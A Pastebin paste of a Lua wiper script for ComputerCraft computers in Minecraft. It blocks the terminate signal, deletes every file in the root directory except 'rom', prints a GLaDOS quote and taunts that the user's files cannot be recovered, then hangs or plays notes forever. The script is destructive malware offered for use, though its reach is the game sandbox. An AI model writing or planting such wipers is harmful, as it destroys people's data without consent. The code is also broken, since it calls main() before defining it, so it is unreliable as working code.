Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- local tbl = fs.list("/")
- while true do
- local rnd = math.random(1,100)
- if tbl[rnd] == "rom" then
- table.remove(tbl,rnd)
- main()
- end
- end
- function main()
- for i,v in pairs(tbl) do
- fs.delete("/"..v)
- end
- term.clear()
- term.setCursorPos(1,1)
- textutils.slowPrint("'I used to want you dead")
- textutils.slowPrint("but now I only want you gone.'")
- textutils.slowPrint("- GLaDOS 2011")
- sleep(3)
- term.clear()
- term.setCursorPos(1,1)
- textutils.slowPrint("You're files are gone now.")
- textutils.slowPrint("There is no getting them back.")
- textutils.slowPrint("Now, your computer is as dead as")
- textutils.slowPrint("brick.")
- if peripheral.find("iron_note") then
- local s = peripheral.find("iron_note")
- while true do
- s.playNote(0,30)
- sleep(2)
- s.playNote(0,20)
- sleep(2)
- s.playNote(0,10)
- sleep(2)
- end
- else
- while true do
- sleep(100)
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement